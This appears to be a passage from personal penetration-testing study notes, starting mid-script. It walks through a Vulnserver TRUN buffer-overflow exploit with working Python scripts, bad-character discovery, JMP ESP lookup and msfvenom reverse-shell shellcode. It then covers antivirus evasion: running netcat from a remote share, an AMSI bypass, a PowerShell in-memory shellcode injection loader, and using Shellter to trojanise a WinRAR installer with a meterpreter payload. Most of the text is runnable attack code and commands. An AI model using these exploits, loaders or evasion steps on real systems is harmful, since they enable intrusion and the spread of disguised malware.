"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

shellcode = "A" * 2003 + "B" * 4 + badchars

while True:
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect(('<IP Vulnserver>', <port vulnserver>))
		s.send(('TRUN /.:/' + shellcode))
		s.close()
	except:
		print "Error connecting to the server"
		sys.exit()
  1. After starting the script, once vulnserver breaks down, go in Immunity Debugger > Registers > Right-click on ESP > Follow in Dump > See Hex dump.
  2. Check if the Hex dump makes sence, e.g. in the Hex dump there is no number value missing.
    • Example: you may get a result like ... 01 02 03 B0 B0 06 07 08 .... As you can see, 04 and 05 are missing, so you've found a bad character.
  3. Write down every character missing

Another solution to the step 3., with mona and Immunity Debugger

  1. Set the working directory with !mona config -set workingfolder c:\mona
  2. Generate bad characters with !mona bytearray -cpb "\x00" from Immunity Debugger
    • Notice the new files in c:\mona
  3. Run the python script of this section
  4. Execute the command !mona compare -f c:\mona\bytearray.bin -a <address of ESP>
  • Note: this may cause false positive

Finding the right module

Note: JMP ESP will be used as the pointer to jump to the shellcode. With nasm_shell.rb we can get the hex equivalent to these commands.

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > JMP ESP
00000000  FFE4              jmp esp

On Immunity, using mona, type

  1. !mona modules to get the module to use, one with no memory protection for vulneserver. In this case, essfunc.dll.
  2. !mona jmp -r ESP -m "essfunc.dll" to find the jump address
  3. See the entries in [+] Results:

Generating Shellcode

  1. Copy the result from msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"
    • Always note the payload size
    • -b is for the badchars identified
  2. See the following script 
    #!/usr/bin/python3
import sys, socket
from time import sleep

overflow = () # HERE INSERT THE RESULT FROM THE STEP 1, THE VALUE IN `unsigned char buf[]`
              # Before every line insert `b`, this will say to bytencode the string

shellcode = b"A" * 2003 + b"\xaf\x11\x50\x62" + b"\x90" * 32 + overflow

while True:
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect(('<IP Vulnserver>', <port vulnserver>))
		s.send((b'TRUN /.:/' + shellcode))
		s.close()
	except:
		print ("Error connecting to the server")
		sys.exit()
    • "\xaf\x11\x50\x62" is the jump address found for this example 625011af in reverse
    • shellcode also contains "\x90" * 32. Those are NOPs, some padding to make sure that our code gets executed.
  3. Use the command nc -nvlp 4444
  4. Run the script, notice the shell in netcat

Antivirus Evasion

  • With powershell, use -e or -enc with an encoded command in base64
  • See more here: Section 14: Antivirus Bypassing
  • Try not running exe on disk, for example cmd /c \\192.168.45.182\Share\nc.exe -i cmd.exe 192.168.45.182 448

ToDo

  • Discover the AV in the machine of the victim
  • Create a VM that resembles the victim's machine
  • Make sure to disable sample submission
    • Windows Security > Virus & threat protection > Manage Settings > Automatic Sample Submission
  • As last resort, check the malware created with

With Evil-WinRM

  1. *Evil-WinRM* PS C:\programdata> menu
  2. *Evil-WinRM* PS C:\programdata> Bypass-4MSI

Thread Injection

  1. Write this In-memory payload injection PowerShell .ps1 script, from PEN-200

    <# Importing Windows APIs in PowerShell #>
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

<# Memory allocation and payload writing using Windows APIs in PowerShell #>
$var2 = Add-Type -memberDefinition $code -Name "iWin32" -namespace Win32Functions -passthru;
[Byte[]];
[Byte[]] $var1 = <SHELLCODE-HERE>;
$size = 0x1000;
if ($var1.Length -gt 0x1000) {$size =  $var1.Length};
$x = $var2::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($var1.Length-1);$i++) {$var2::memset([IntPtr]($x.ToInt32()+$i), $var1[$i], 1)};

<# Calling the payload using CreateThread #>
$var2::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

  2. Generate a PowerShell compatible payload

    • msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f powershell

  3. Insert the result in [Byte[]] $var1 in the PowerShell Script

  4. Change the ExecutionPolicy for current user

    PS C:\> Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
PS C:\> Get-ExecutionPolicy -Scope CurrentUser

  5. Set up a handler to interact with the meterpreter shell

    msf exploit(multi/handler) > show options   <# Set the correct values #>
msf exploit(multi/handler) > exploit

  6. Run the PowerShell script

    • You can also decide to convert the script in base64 with ps_encoder.py and run it with powershell.exe -e <BASE64>

  7. Get the meterpreter shell on the attacking machine

Shellter

Note

Example of usage

  1. Select Auto mode with A
  2. Selecting a target PE in shellter and performing a backup, in this case the WinRAR installer: /home/kali/Desktop/winrar-x32-621.exe
  3. Enable stealth mode with Y
  4. Select a listed payload with L
  5. Select meterpreter_reverse_tcp with 1
  6. Set LHOST and LPORT
  7. Create a listener in Kali with Metasploit
    • msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST <IP>;set LPORT <PORT>;run;"
  8. Get the meterpreter shell on the attacking machine